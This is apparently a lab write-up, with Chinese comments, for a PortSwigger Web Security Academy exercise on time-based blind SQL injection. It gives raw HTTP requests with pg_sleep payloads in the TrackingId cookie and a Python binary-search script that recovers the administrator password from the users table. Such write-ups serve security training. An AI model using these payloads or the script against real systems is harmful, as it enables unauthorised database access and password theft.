Blind SQL injection with time delays and information retrieval（延时盲注）

1、burp

GET / HTTP/2
Host: 0a4c003904ce1c958044e4b200fd006e.web-security-academy.net
Cookie: TrackingId=UTY7JHcWcR7jpzCz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; session=HYSUGKrpueckTHDrGjEKoTHPprYeb90c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

发现20的包响应最慢，所以长20

GET / HTTP/2
Host: 0a4c003904ce1c958044e4b200fd006e.web-security-academy.net
Cookie: TrackingId=UTY7JHcWcR7jpzCz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+ascii(substr(password,1,1))=a)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; session=HYSUGKrpueckTHDrGjEKoTHPprYeb90c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

根据响应的延迟分类

得到ascii的10进制
116 57 54 121 51 116 52 103 48 52 110 113 99 114 53 50 56 117 107 102
转换字符串的脚本

test = "116 57 54 121 51 116 52 103 48 52 110 113 99 114 53 50 56 117 107 102"
new = ''
for i in test.split(' '):
	new += str(chr(int(i)))
print(new)
# t96y3t4g04nqcr528ukf

2、脚本

import requests
import time
flag = ''
url = "https://0a4c003904ce1c958044e4b200fd006e.web-security-academy.net/"
for i in range(1,21):
	print(f"第{i}位")
	low = 32
	high = 128
	mid=(low+high)>>1
	while low<high:
		try:
			time.sleep(0.2)
			cookie = {"TrackingId":f"UTY7JHcWcR7jpzCz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+ascii(substr(password,{i},1))>{mid})+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--",
						"session":"HYSUGKrpueckTHDrGjEKoTHPprYeb90c"}
			start = time.time()
			r = requests.get(url, cookies=cookie)
			end = time.time()
			print(cookie)
			print(end-start)
			if end-start>=5:
				low = mid+1
			else:
				high = mid
			mid=(low+high)>>1
		except requests.exceptions.RequestException as e:
			print(f"请求出错: {e}")
		print("mid: ",mid)
	flag += chr(mid)
	print("flag: ",flag)
# t96y3t4g04nqcr528ukf